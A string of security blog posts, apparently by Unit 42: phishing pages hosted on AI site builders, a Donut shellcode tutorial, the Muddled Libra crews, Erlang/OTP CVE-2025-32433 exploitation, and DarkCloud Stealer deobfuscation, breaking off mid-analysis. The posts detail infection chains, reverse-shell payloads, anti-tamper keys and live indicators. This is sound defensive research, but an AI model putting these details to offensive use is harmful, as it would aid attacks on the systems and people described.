Figure 17. Screenshot of a phishing page hosted on an AI-powered website platform initially sent via a phishing email. This webpage links to a fake login page for a popular web-based service.

Collage of six images depicting various technology and lifestyle products on sale. The prices range from $1 to $20.
Figure 18. Spoofed gift card shopping page generated on a website builder.

A notification on a computer screen displaying a message titled "New Completed PDF Document Received." The email informs the recipient of a new PDF document ready for review and includes a red "Review Completed Documents" button.
Figure 19. Screenshot of a phishing page generated using an AI-powered design assistant site.

A notification on a computer screen displaying a message titled "New Completed PDF Document Received." The email informs the recipient of a new PDF document ready for review and includes a red "Review Completed Documents" button.
Figure 20. Screenshot of a phishing page generated on an AI-powered design assistant site.

Phishing page screenshot showing a car, TVs, and other items with a KLIK CEK KUPON button.
Figure 21. Screenshot of a landing phishing page generated on a no-code app builder.

Phishing page screenshot showing a message that reads "You Have 2 New Fax Documents" with an option to "Get Your Files Here." The format is PDF and the status is delivered. The interface includes colorful icons and buttons.
Figure 22. Screenshot of a phishing page generated on an AI-powered educational platform.

A Mega Malware Analysis Tutorial Featuring Donut-Generated Shellcode

Posted on by Samantha Stallings

Executive Summary

We created an in-depth malware analysis tutorial featuring shellcode generated by a tool named Donut. The tutorial walks through a single infection chain from end to end, starting with a sample, and assuming no prior knowledge of the malware in question.

By the end of the tutorial, readers will better understand many components of the infection chain and identify the family of the final payload. The tutorial is designed to be a beginner-friendly lesson for those who understand the basics of malware analysis but have yet to analyze many samples in the wild on their own.

With the help of this tutorial, we hope that readers will:

  • Become familiar with common malware analysis tools like dnSpy, IDA Pro, x64dbg and ProcessHacker
  • Learn how to leverage both static and dynamic analysis to form a complete picture of malware behavior
  • Recognize common techniques used by malware in its natural context, such as:
    • Dynamic API resolution
    • Process injection
    • Bypassing AMSI by using memory patching
  • Gain insight on how malware analysts at Palo Alto Networks might approach an unknown sample in their daily operations

The infection chain in this tutorial is composed of different stages, each playing a different role. These stages include downloading the initial malware, hiding traces of malicious activity and dropping the final payload.

Along the way, we record every step in our analysis, and we explain our thought process behind each decision. We explain not only what the malware sample is doing, but also the reasons why a malware sample might do the observed activity.

Due to the large size of the tutorial, we have included a small excerpt in this article as a preview. To read the tutorial in its entirety, please view it on our GitHub page.

Palo Alto Networks customers are better protected from the malware reviewed in this tutorial through the following products and services:

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics Shellcode, Static Analysis

Excerpt of Donut Malware Analysis Tutorial

This excerpt features the analysis of an unknown function in the Donut-generated shellcode used during the attack chain. The analysis helps explain some basic techniques using IDA Pro as a disassembler and decompiler and x64dbg as a debugger.

The screenshot below shows the decompiled shellcode in IDA Pro. The unknown function is sub_10A31A, highlighted in a red box in Figure 1. This unknown function does not take any arguments.

Screenshot of computer code in an IDE, highlighting function definitions and calls, with specific lines marked in red to indicate errors or warnings.
Figure 1. Decompiled shellcode viewed in IDA Pro.

Using x64dbg as a debugger for this shellcode, we can view the content of the EAX register from the sub_10A31A function. The EAX register merely returns the address of the function, which is 06CDA31 as Figure 2 shows.

Text displaying two alphanumeric codes, "EAX" in red and "06CDA31A" in red.
Figure 2. The return value of sub_10A31A.

Figure 3 below shows the decompiled code of the sub_10A31A function.

Screenshot of a simple C programming code involving a function. The function is defined to return an integer and involves pointer operations.
Figure 3. The decompiled code of sub_10A31A.

This function is extremely simple because it just returns the address of the function, so it matches what we just observed in x64dbg. But what is the purpose of returning the address of the function? Let’s return to the debugger to find some clues.

Stepping through the shellcode in x64dbg, the Extended Instruction Pointer (EIP) is on the first instruction, call 6CDA31A as shown below in Figure 4. The operand of the call instruction, 6CDA31A, is the address of the sub_10A31A function.

Screenshot of a computer debug screen highlighting code operations with assembly language, including call and mov instructions, and memory addresses in hexadecimal notation. The first line is highlighted.
Figure 4. The call to sub_10A31A as shown in x64dbg.

This function calls the instructions starting at 0x06CDA31A. Figure 5 below shows these instructions.

Screenshot of a segment of computer code, highlighting various operations and memory addresses in different colors.
Figure 5. Instructions at 0x06CDA31A shown in x64dbg.

We can find the same instructions for this function by viewing the shellcode in IDA. However, IDA shows the same instruction as call $+5 in the disassembled code as Figure 6 below shows, in the red box.

Screenshot of computer code in an IDE, highlighting a subroutine call at an address with 'call' command in red text.
Figure 6. The assembly instructions of sub_10A31A in IDA.

Let’s break down the call $+5 instruction shown in IDA:

  • $+5 just means “the current address (EIP) plus 5.” With a value of E8 00 00 00 00, the full call instruction is 5 bytes, so $+5 effectively refers to the instruction immediately after the call instruction (i.e., the address of the pop eax instruction).
  • call pushes the return address (i.e., the address right after the call instruction) onto the stack and jumps to the operand of the call instruction.

Putting these two facts together, call $+5 means “push the address immediately after the call instruction onto the stack and then jump to that address.”

This might seem like a very roundabout way of pushing the address of the next instruction onto the stack, but the x86 instruction set does not provide a more straightforward way of doing so. An instruction like push eip+5 is not valid, as EIP cannot be used directly as an operand.

Let’s turn our attention back to the debugger to observe this in action. The instruction call 6CDA31F pushes 0x06CDA31F onto the stack and then jumps to 0x6CDA31F as shown in Figure 7.

Image showing a computer screen with hexadecimal code and arrow indicators highlighting specific segments of the code in different colors.
Figure 7. The operand of the call instruction is also the address of the next instruction.

Now that 0x06CDA31F is on the stack, it gets stored in the EAX register with the pop eax instruction as shown in Figure 8.

Text displaying "EAX 06CDA31F" in red on a white background.
Figure 8. EAX after the pop eax instruction.

And then we subtract 5 from 0x06CDA31F with the sub eax, 5 instruction as shown in Figure 9.

Text displaying two alphanumeric codes, "EAX" in red and "06CDA31A" in red.
Figure 9. EAX after the sub eax, 5 instruction.

As we observed when we first stepped over sub_10A31A, the result is that 0x06CDA31A gets stored in EAX.

The sequence of instructions inside sub_10A31A is commonly used to implement PC-relative addressing and allows the shellcode to be position-independent. Why is this important? Just like any program, malware may have some resources that it needs to access.

Resources can be accessed via absolute addresses or an offset relative to a base address. Regular PE files can access resources using absolute addresses because the PE loader applies relocation adjustments if the program is loaded into a memory region different from its preferred base address. However, shellcode doesn’t have this capability and thus must rely on relative addresses.

By calling sub_10A31A, the shellcode can access the resources it needs by using an offset relative to the address of sub_10A31A in memory. We can then look at the decompiled code in Figure 10 to see how it’s used. The address returned by sub_10A31A (which we’ll now call get_pc) is used in the second argument of memcpy to access the address of the source buffer.

Screenshot of computer code in an IDE, featuring functions and parameters highlighted in red and blue.
Figure 10. The decompiled code after renaming sub_10A31A.

Conclusion

Analyzing malware is a very detailed and complex process. Through the full tutorial, we hope to help others improve their skills in malware analysis through a step-by-step analysis of an infection chain.

If you found this excerpt interesting, please read the full tutorial. Happy analyzing!

Palo Alto Networks customers are better protected from the shellcode discussed in this article through the following products:

  • The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research.
  • Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious.
  • Cortex XDR and XSIAM are designed to prevent the execution of known malicious malware, and also prevent the execution of unknown malware using Behavioral Threat Protection and machine learning based on the Local Analysis module.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 00080005045107

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

  • SHA256 hash: d2bea59a4fc304fa0249321ccc0667f595f0cfac64fd0d7ac09b297465cda0c4
  • File size: 1,092,149 bytes
  • File type: Data
  • File description: Decrypted Donut-generated shellcode

Additional Resources

 

Muddled Libra’s Strike Teams: Amalgamated Evil

Posted on by Ria Bhatia

Many From One

It’s disingenuous to consider Muddled Libra like a traditional monolithic attack group, one with defined structure and clear lines of leadership. Muddled Libra, Scattered Spider, Octo Tempest or any of the many other names the group is labeled with is not an organized entity but a loose collaboration of like-minded cybercriminals, or personas, with common interests tethered by social chat applications.

Interrelated Strike Teams

Muddled Libra personas converge into strike teams, each with their own unique skillsets, tradecraft and objectives in tow. Since late 2022, Unit 42 has tracked at least seven distinct teams. Though in reality distinction means very little as personas enter, exit and flow from team to team. Instead, what defines a team is the combination of what they're after and the unique ways in which they go after it.

While the fluidity of this model complicates tracking, it also creates unique opportunities for threat researchers. Unlike the homogeneous, mostly faceless operations of traditional cybercrime groups, members of these small teams inherently leave their fingerprints on each attack; distinct fingerprints that become signature tradecraft.

Over time successful tradecraft is shared, learned and incorporated by other personas into their own fingerprints. By studying incident response engagements, threat intelligence researchers can walk this development back and begin profiling personas and their interdependent relationships. This allows the creation of predictive models, ultimately leading to effective controls and mitigations against future attacks.

Theory in Practice

In the teams we track related to this attack cluster, we find patterns not only in tradecraft but also objective. That is not to say these teams’ tradecraft and objectives remain static, but that they tend to evolve in a predictable way that indicates relatively consistent and known personas.

Most early teams were hyper-focused on cryptocurrency theft and have never wavered, while others started out with cryptocurrency in mind but shifted to less complex and more volume-friendly objectives. The supply chain for the cryptocurrency industry is far-reaching and includes business process outsourcing, mass marketing, telecommunications, authentication providers and many other verticals. Many organizations in these industries have essentially been collateral damage along the way as strike teams identified and hunted cryptocurrency “whales” – large, valuable targets.

With each success, teams have learned, matured and multiplied. New personas enter the fray and others are arrested or fade away. Attack teams have expanded far from cryptocurrency and into a staggering breadth of industries.

  • There are strike teams focused on stealing unique intellectual property for bragging rights that have targeted media and software development firms.
  • Extortion-oriented teams use common ransomware-as-a-service affiliate playbooks with widespread asset destruction and encryption. These teams typically target organizations in high-availability verticals like retail and entertainment.
  • Some teams simply aim to harvest credentials directly from consumers that can be quickly flipped on the dark web; low-complexity attacks like these frequently target individuals.
  • A few teams are engaging in mass information harvesting. Valuable personal data is stolen that can later be stitched together to invasively profile high-value targets. Attackers focus on organizations that have unique and highly private data like those in the financial, retail and transportation industries.

Bar chart displaying the industry distribution within seven teams, with industries labeled as Telecommunications, SaaS, Retail, Media, Marketing, Hospitality, Government, Gambling, Finance, and Business Process Outsourcing. Each team's bar is segmented by color to represent different industries.
Figure 1. Seven teams associated with Muddled Libra and the differences in their targeting.

The fluid nature of Muddled Libra attack teams make it a fool’s errand to predict what industry will be targeted next. Instead, defenders should focus on what they have that the group is likely to be after and who might be impacted.

For example, consider data theft or direct extortion and work backward from there. If your organization has troves of personal data, take a deep look at how to classify and protect it appropriately based on its value. Restrictive access control, data retention policies, data loss prevention and segmentation all go a long way toward ensuring your data is not used as a weapon against you.

Extortionists typically threaten to leak stolen data, disrupt critical business operations, or both. Effective business continuity and disaster recovery planning can help shield key business assets from destruction or ransomware.

If your organization is consumer facing, consider how you can better authenticate your customers and protect them from having their credentials compromised and used against them.

Strike teams will continue to form, developing new techniques and branching into new industries. Don’t lose sight of the forest (a broader goal of a robust security program based on risk and defense-in-depth strategies) for the sake of analyzing the trees (the specific tactics, techniques and procedures or targets currently popular with individual Muddled Libra strike teams).

If your organization could benefit from assistance evaluating your readiness, consider reaching out for a Cyber Risk Assessment or other proactive services from Unit 42.

Updated on Aug. 28, 2025, at 2:34 p.m. PT to add missing data to Figure 1.

Keys to the Kingdom: Erlang/OTP SSH Vulnerability Analysis and Exploits Observed in the Wild

Posted on by Cecilia Hu

Executive Summary

This article presents our observations of exploit attempts targeting CVE-2025-32433. This vulnerability allows unauthenticated remote code execution (RCE) in the Secure Shell (SSH) daemon (sshd) from certain versions of the Erlang programming language's Open Telecom Platform (OTP).

Erlang/OTP sshd is widely used in critical infrastructure and operational technology (OT) networks.With a CVSS score of 10.0, CVE-2025-32433 enables unauthenticated clients to execute commands by sending SSH connection protocol messages (codes >= 80) to open SSH ports, which should only be processed after successful authentication. Vulnerable versions include Erlang/OTP prior to OTP-27.3.3, OTP-26.2.5.11 and OTP-25.3.2.20.

A patch is available in Erlang/OTP versions OTP-27.3.3, OTP-26.2.5.11, OTP-25.3.2.20 and later.

We have reproduced, validated and analyzed this vulnerability to better understand its impact and provide detection strategies. We observed a significant increase in exploitation activity targeting this vulnerability from May 1-9, 2025, with 70% of our detections originating from firewalls protecting global operational technology (OT) networks.

This analysis includes telemetry data showing geographic distribution and trends as well as the industries affected by this vulnerability.

Palo Alto Networks customers are better protected from the threats discussed in this article through the following products and services:

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Vulnerabilities Discussed CVE-2025-32433

Details of the Vulnerability

Erlang is a programming language designed for building concurrent systems where multiple connections are needed simultaneously. Its companion framework, the Open Telecom Platform (OTP), has long been trusted in critical infrastructure from telecommunications networks to financial systems.

OT and 5G environments use Erlang/OTP due to its fault-tolerance and scalability for high availability systems with minimal downtime. Due to compliance and safety requirements, OT and 5G administrators tend to use Erlang/OTP's native SSH implementation to remotely manage hosts, which makes CVE-2025-32433 a particular concern in these types of networks.

At the heart of Erlang/OTP’s secure communication capabilities lies its native SSH implementation — responsible for encrypted connections, file transfers and most importantly, command execution. A flaw in this implementation would allow an attacker with network access to execute arbitrary code on vulnerable systems without requiring credentials, presenting a direct and severe risk to exposed assets.

Analyzing global internet scanning data from Cortex Xpanse in April 2025, we saw vulnerable Erlang/OTP SSH services were widely exposed on the internet using different TCP ports. This included TCP port 2222, which is commonly used for communications with older industrial automation components and sometimes used by the Ethernet/IP implicit messaging protocol.

CVE-2025-32433 is inferred from SSH versions tied to Erlang/OTP releases. This widespread exposure on industrial-specific ports indicates a significant global attack surface across OT networks. Analysis of affected industries demonstrates variance in the attacks.

In our telemetry, we saw that the following industries were disproportionately affected, with over 85% of exploit attempts being triggered directly on their OT firewalls:

  • Healthcare
  • Agriculture
  • Media and entertainment
  • High technology

Despite high OT reliance, utilities and energy, mining, and aerospace and defense showed no direct OT triggers for this specific threat.

Sectors like professional and legal services primarily saw triggers on their IT networks. Industries such as manufacturing, wholesale and retail, and financial services experienced more balanced detection across both IT and OT, necessitating integrated defenses.

Scope of Exploitation Attempts Targeting CVE-2025-32433

Our telemetry confirms active exploitation attempts of CVE-2025-32433. Our sensors have detected exploit attempts targeting this vulnerability across multiple industries, with the earliest observation occurring on May 1, 2025.

We identified several malicious payloads being delivered through CVE-2025-32433 exploit attempts. A commonly observed technique uses reverse shells to gain unauthorized remote access. Two examples seen in the wild include the following payloads.

Payload 1

File descriptors are used to create a TCP connection and bind it to a shell, allowing interactive command execution over the network, as shown in Figure 1.

Screenshot of a TCP steam with network address and port details visible.
Figure 1. TCP connection creation.

Payload 2

Figure 2 shows a simpler variant that initiates a reverse shell using Bash's interactive mode and redirects the shell's input and output directly to a remote host at 146.103.40[.]203:6667. This port is commonly associated with remote control servers used for botnet communications.

Screenshot of a TCP steam with network address and port details visible.
Figure 2. Remote host redirect.

Threat Infrastructure Insights

Our investigation into DNS telemetry was driven by DNS-based indicators we discovered during our payload analysis of exploitation attempts targeting CVE-2025-32433. Several payloads contained commands attempting DNS lookups of long, randomly generated subdomains under dns.outbound.watchtowr[.]com:

  • execSinet:gethostbyname("d0am3pi3pgl6h3t9mkp0qt3zn9p1izwso.dns.outbound.watchtowr[.]com").Zsession
  • execSinet:gethostbyname("d0a3qn23pglekp6ckgtge8xxfd14a8ouk.dns.outbound.watchtowr[.]com").Zsession
  • execSinet:gethostbyname("d09idt23pgl3db0en3dgeam6i45tpc6bg.dns.outbound.watchtowr[.]com").Zsession

These payloads also provide clear signs of Out-of-Band Application Security Testing (OAST). Specifically, DNS lookups to randomized subdomains under dns.outbound.watchtowr[.]com were triggered using gethostbyname() calls — a common tactic in blind RCE or exfiltration testing.

These payloads are designed not to return results directly, but to validate execution via external DNS resolutions that the attacker monitors. This approach is widely used in stealthy campaigns, red team assessments and automated scanning frameworks.

Scope of the Activity

We conducted a multi-source analysis to understand how attackers attempt exploitation of CVE-2025-32433 in real-world environments. This analysis highlights the geographic distribution of vulnerable systems, exploit activity across key industry sectors and evolving trends over time.

Exposure Surface Analysis

Cortex Xpanse revealed 275 distinct hosts and 326 distinct Erlang/OTP services that were publicly routable on the internet between April 16 and May 9, 2025. The countries observed to host the most Erlang/OTP servers are the U.S., Brazil and France.

Cortex Xpanse scans showed that Erlang/OTP services are widely exposed and vulnerable on industrial networks. Figure 3 below shows the services found on TCP ports like 830, 2022 and 22.

Bar chart showing the distribution of observed Erlang/OTP server ports and their exposure status labeled as 'Vulnerable' or 'Not Vulnerable' in Cortex XPANSE. The columns included on the right detail the port numbers, SSH version, if they are vulnerable, and the number of hosts.
Figure 3. Port and vulnerability exposure of Erlang/OTP services.

The group of exposed ports includes TCP port 2222. This port is also sometimes used by Ethernet/IP implicit messaging, highlighting a direct bridge between IT-centric software vulnerabilities and the operational heart of industrial control systems.

This overlap highlights the following:

  • Attack surface convergence
    The blurred boundary between IT and OT systems, where a software vulnerability in an IT-facing protocol such as Erlang/OTP, could share network space — or even ports — with industrial control system traffic.
  • Increased exploitability
    Attackers scanning for exploitable Erlang/OTP services could inadvertently or intentionally interact with exposed industrial control systems (ICS) devices, creating opportunities for pivoting into OT environments, especially where network segmentation is weak.

Geographic Distribution of Exploit Attempts

After the vulnerability was published on April 16, 2025, we began to detect exploit attempts from a few countries, as shown below in Figures 4 and 5. Figure 4 represents the total number of CVE-2025-32433 signatures triggered by all firewalls in a given country. Figure 5 represents signature triggers specifically from firewalls identified as being within OT networks.

Heat map showing various countries colored in shades of teal to red, representing data with a scale from 1 to 2,693. Low instances are teal and high instances are red. The United States is entirely red. The only country with slight variation is Japan.
Figure 4. All network victim geolocation.

Heat map highlighting countries in varying shades of blue and red, indicating different data values ranging from 1 to 1,916. The Unite States is entirely red.
Figure 5. OT network victim geolocation.

Out of a total of 3,376 CVE-2025-32433 signatures triggered globally, 2,363 (approximately 70%) originated from firewalls protecting OT networks. While the figures might appear the same, South America and Scandinavia showed minimal or no OT-related exploit activity despite broader exploitation elsewhere — indicating either better segmentation, slower adoption of vulnerable stacks or detection gaps.

Countries With High OT Correlation:

  • Japan: 99.74% of its CVE-2025-32433 signatures originated from OT networks
  • U.S.: Despite a lower percentage (71.15%) compared to Japan, the volume of signatures in the U.S. (1916 within OT) signifies a great number of potential incidents affecting American industrial systems
  • The Netherlands, Ireland, Brazil and Ecuador: For these countries, 100% of observed CVE-2025-32433 signature triggers occurred within OT environments
  • France: This country had a significant OT impact at 66.67% of observed signature triggers

The disproportionate volume of CVE-2025-32433 exploit attempts observed in OT networks across countries like Japan, the U.S. and others reflects a combination of factors, not a singular cause.

These regions often host highly connected, digitally mature industrial sectors that rely on complex IT/OT integrations where general-purpose components like Erlang/OTP could be embedded in operational environments.

Exploit Distribution by Industry

Almost 70% of the total number of signature triggers originated from firewalls protecting OT networks. Of the total number of firewalls that saw an exploit attempt, nearly 60% of the attempts were on firewalls within OT networks. Averaging out the number of exploit attempts per firewall, OT networks saw 160% more attempts per device than non-OT networks.

This indicates:

  • A significant number of OT firewalls are exposed to the internet
  • Adversaries might have already breached edge security, compromised enterprise devices and established persistence
    • They could be launching this exploit attempt from within enterprise networks using lateral movement techniques, with the goal of accessing OT networks
  • Discrepancy in exploit attempts on OT networks could indicate the intention of malicious actors to infiltrate critical infrastructure

This number could be anomalous because of the small sample size analyzed.

An outsized majority of triggers originated in the education industry, both within all networks and OT networks, with 2,460 (72.7% of total) and 2,090 (88.4% of total) respectively, shown in Figure 6 below.

Bar chart comparing the number of incidents in two categories, "All Industries" and "OT Industries", split into "Education" and "Remaining". "Education" incidents are significantly higher in "All Industries" compared to "OT Industries".
Figure 6. CVE triggers by industry.

The industry-level distribution of CVE-2025-32433 exploitation attempts underscores a critical shift in the operational threat landscape.

We observed nearly 70% of exploit attempts within OT networks. Several sectors — including healthcare, high technology and education — showed a disproportionately high concentration of OT-specific activity.

This challenges the traditional view that OT risk is confined to industrial control systems or manufacturing. At the same time, we should not interpret the absence of detections in the following OT-heavy sectors as safety:

  • Utilities and energy
  • Mining and aerospace
  • Defense

We should instead see it as potential evidence of detection weakness or delayed targeting.

These findings highlight that attackers are exploiting the realities of IT/OT convergence and are targeting operational systems wherever they exist.

Temporal Trends in Exploitation

Bar chart showing daily data from May 1st to May 9th 2025 with two categories: "Total" and "OT Only." The bars for "Total" are consistently higher than those for "OT Only." Color distinctions indicate different categories with blue for Total and red for OT Only.
Figure 7. Trigger distribution by day.

Analyzing the data we have for May 2025, peaks in total triggers often correlate with OT activity. Figure 7 shows the days with the highest total triggers (May 3, May 6, May 8, May 9) include the days with significant OT activity (May 3, May 8, May 9).

Exploitation attempts of CVE-2025-32433 are not uniform or continuous — they appear in concentrated bursts that disproportionately impact OT environments. When activity spikes, it is frequently driven by OT-specific triggers, often accounting for over 80% of detections on peak days.

The geographic, industrial and temporal footprint of CVE-2025-32433 exploit attempts highlights a strategic shift in attacker behavior toward operational environments across diverse sectors and regions. Exploits are not limited to traditionally defined industrial control systems. They appear in healthcare, education, high tech and other verticals — many of which host embedded OT systems not previously treated as high risk.

Geographically, countries with mature digital infrastructure and strong industrial bases — such as Japan, the U.S. and Brazil — show high OT exposure, while sectors like utilities and mining show no detections despite high inherent risk. This suggests telemetry gaps, delayed targeting or underreporting. Combined, these patterns illustrate that modern OT threats do not follow legacy assumptions about where OT resides or how it is attacked.

We have confirmed active exploitation attempts through payload telemetry, with disproportionate impact on OT networks across multiple industries. The use of stealthy reverse shells and DNS-based callbacks further indicates that attackers are employing evasive techniques.

Mitigation Guidance

The rapid surge in attack payloads suggests that threat actors have quickly adopted this exploit in active campaigns. This pattern underscores the urgency for organizations — particularly those in the targeted sectors and geographies outlined above — to improve protections.

  • Apply the latest security patches
  • Update intrusion prevention systems with the newest signatures
  • Closely monitor environments for signs of compromise

The primary mitigation for this vulnerability is to upgrade Erlang/OTP to a patched version:

  • OTP 27.3.3 or later
  • OTP 26.2.5.11 or later
  • OTP 25.3.2.20 or later

As a temporary workaround (if patching is not immediately possible), consider disabling the SSH server or using firewall rules to restrict access to trusted sources only (as suggested by NIST).

Conclusion

CVE-2025-32433 is a serious vulnerability resulting from improper state enforcement in the Erlang/OTP SSH daemon, which could potentially allow unauthenticated RCE. The failure to reject post-authentication messages before authentication completion creates a significant attack surface that is being exploited in the wild.

Attackers are attempting to exploit the vulnerability in short, high-intensity bursts. These are disproportionately targeting OT networks and attempting to access exposed services over both IT and industrial ports. Early telemetry confirms that the threat extends far beyond traditional industrial sectors, impacting education, healthcare and high technology — underscoring the reality that critical OT assets now exist across a much broader digital surface area.

Organizations must re-examine their exposure, enhance OT-specific visibility and treat CVE-2025-32433 not as an isolated issue, but as a case study in how general-purpose software flaws can rapidly escalate into operational threats.

Palo Alto Networks Product Protections for CVE-2025-32433

Palo Alto Networks customers are better protected from these threats by the products and services listed below.

Cortex XDR and XSIAM are designed to prevent the execution of known malicious malware, and also prevent the execution of unknown malware using Behavioral Threat Protection.

Cortex Xpanse has the ability to identify exposed devices on the public internet and escalate these findings to defenders. Customers can enable alerting on this risk by ensuring that the Attack Surface Rule is enabled. Identified findings can either be viewed in the Threat Response Center or in the incident view of Expander. These findings are also available for Cortex XSIAM customers who have purchased the ASM module.

Next-Generation Firewall with the Advanced Threat Prevention subscription can help block activity associated with CVE-2025-32433 (Erlang OTP SSH Remote Code Execution Vulnerability) with the release of our threat prevention signature 96163.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 00080005045107

Palo Alto Networks has shared our findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

  • .dns.outbound.watchtowr[.]com
  • 194.165.16[.]71
  • 146.103.40[.]203

Additional References

New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer

Posted on by Samantha Stallings

Executive Summary

Unit 42 researchers recently observed a shift in the delivery method in the distribution of DarkCloud Stealer and the obfuscation techniques used to complicate analysis. First seen in early April 2025, these new methods and techniques include an additional infection chain for DarkCloud Stealer. This chain involves obfuscation by ConfuserEx and a final payload written in Visual Basic 6 (VB6).

We previously identified a series of attacks linked to the distribution of DarkCloud Stealer. It also leveraged AutoIt to bypass detection systems. We documented these details in DarkCloud Stealer: Comprehensive Analysis of a New Attack Chain That Employs AutoIt.

Palo Alto Networks customers are better protected through the following products and services:

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics Infostealers, Anti-analysis

Delivery Mechanism and Updated Infection Chain

We have observed three slightly different attack chains delivering the same final DarkCloud Stealer payload in recent attacks.

Each attack chain starts with a phishing email that contains either a tarball (TAR), Roshal (RAR) or a 7-Zip (7Z) archive. Both the TAR or RAR versions contain a JavaScript (JS) file, while the 7Z version contains a Windows Script File (WSF). The threat actor is at a point in development that, for all infection chain paths, almost every stage is obfuscated or protected.

Figure 1 shows an overview of the different infection chains of these recent DarkCloud Stealer campaigns.

Flowchart showing a cybersecurity attack sequence starting from a phishing email with various file types (RAR, JS, TAR), leading to an Open Directory Server, engaging a PowerShell script (PS1), and culminating in the execution of a malware payload process. The process begins with an EXE file, labeled as the initial payload ConfuserEx, which launches the official .Net RegAsm tool, and results in a second injected EXE known as the final payload VB6.
Figure 1. Infection chain of recent DarkCloud attacks.

In the chains initiated by a JS script, executing the script downloads and executes a PowerShell (PS1) file from an open directory server. The PS1 file then drops an executable (EXE) file that is the ConfuserEx-protected version of the final DarkCloud payload. Looking at the JS file here in Figure 2, the script is obfuscated by the tool javascript-obfuscator.

A screenshot of a computer monitor displaying multiple lines of colorful computer code on a black background.
Figure 2. JS downloader in its original obfuscated form.

Figure 3 below shows the deobfuscated version of the same script. In summary, the script:

  • Uses ActiveXObject('MSXML2.XMLHTTP') object to obtain the next stage PS1 script at hxxp[:]//176.65.142[.]190/BLACKYY/newbag.ps1
  • Uses ActiveXObject('Scripting.FileSystemObject') object to drop the PS1 file as a random 8-character lowercase name in the C:\Temp folder.
  • Uses ActiveXObject('WScript.Shell') object to run a PowerShell command to execute the PS1 file.

A screenshot displaying many lines of code that involve JavaScript functions related to network activities and error handling, written in a text editor with syntax highlighting.
Figure 3. Unobfuscated JS downloader.

Figure 4 illustrates an open directory server hosting many malicious PS1 files. In this case, the kay.ps1 is the next stage PS1 sample that the JS script downloaded and executed.

Screenshot of a web directory listing. It is the index for blackyy. It is on Apache/2.4.58 (Win64) OpenSSL/1.1.1j PHP/8.0.3 Server at 176 dot 65 dot 142 dot 190 Port 80, displaying various files with details on the last modified dates and file sizes.
Figure 4. Open directory server hosting PS1 files.

The infection chain initiated by a 7Z archive drops a WSF file. The WSF file mainly consists of a single <job> tag, which contains a <script language="JScript"> tag. The JScript code is again heavily obfuscated, but in a different way than the JS file shown in Figure 2. It also uses ActiveXObject objects to download and execute a PS1 file from the same open directory server. However, the PS1 script associated with this WSF downloader is different.

Next, we will focus on the JS-based infection chain that runs the kay.ps1 PowerShell script. This PS1 also has two layers of encryption scheme. Figure 5 shows partial code snippets from the first layer. The snippet uses Invoke-Expression (a PowerShell command that executes a string as if it were a command) to invoke another PowerShell expression that is both Base64-encoded and AES-encrypted.

Screenshot of computer code involving Base64 encoding and decryption processes. The PowerShell script first layer.
Figure 5. First layer of the PS1 script.

Figure 6 shows a code snippet from the invoked PS1 expression, revealing its core functionality. The code reveals that an EXE file is written to the %tmp% folder with a randomly generated 8-character upper- or lower-case filename. The script then executes the dropped EXE file using the Start-Process command.

Screenshot of white code on a black background. The PowerShell script second layer.
Figure 6. Second layer of the PS1 script.

DarkCloud Technical Analysis: Expanded View

In the following section, we delve deeper into the analysis of the 32-bit .NET malware sample. This malware sample contains the final DarkCloud executable written in VB6 and wrapped in a layer of ConfuserEx obfuscation.

Stage One: Initial ConfuserEx Obfuscation

ConfuserEx 2 is an open-source protector for .NET applications. Files protected with ConfuserEx are watermarked with a ConfusedByAttribute attribute. ConfuserEx comes with many features and protections such as:

  • Anti-tampering (method encryption): This protects the application from unauthorized modification. This is accomplished by only decrypting the code of method bodies at runtime. This decryption is performed in the module constructor (<Module>.cctor), which executes before reaching the main entry point.
  • Symbol renaming: This changes class, method and variable names to random, meaningless, non-American Standard Code for Information Interchange (ASCII) printable identifiers.
  • Control flow obfuscation: This alters the code structure with opaque predicates (cf. control flow flattening).
  • Method reference hiding: This is also known as proxy call method obfuscation (this will be later described in more detail).
  • Constant encoding: This encodes constants (e.g., strings using fixed reversible transformations.

The malware author applied these protections to the analyzed malware sample.

First, we can adapt the AntiTamperKiller code to defeat anti-tampering protection. This transformed the sample's .NET code, as Figure 7 shows.

Screenshot of a computer screen displaying code in an IDE with error messages, specifically a DecompilerException, indicating non-generic decompiling issues. The code includes hex addresses and assembly language elements.
Figure 7. The original sample depicting anti-tampering protection applied.

The method body code consists of bogus invalid .NET instructions into the deobfuscated code seen in Figure 8, where the real method body code is now visible. In particular, we extracted the specific parameters of the anti-tampering protection:

  • Key 1: 0xc225d58c
  • Key 2: 0xa2e32024
  • Key 3: 0xdcc95ec9
  • Key 4: 0x00000000
  • Name hash: 0xe0cbeae4
  • Internal key: 0x3dbb2819

A screenshot of a computer screen displaying code in a software development environment. The code includes loops and conditional statements.
Figure 8. Sample with anti-tampering protection removed.

Next, we still have more cleanup work to do on the partially deobfuscated sample. We then applied de4dot-cex (a fork of de4dot, a generic .NET deobfuscator and unpacker, which includes support for ConfuserEx deobfuscation) to the sample, using the -p crx command-line switch. This transforms the .NET sample’s code seen in Figure 8 into the code shown in Figure 9, by renaming the obfuscated symbols and reverting the control flow flattening.

Image of a snippet of computer code showing functions and variable assignments within a Main method.
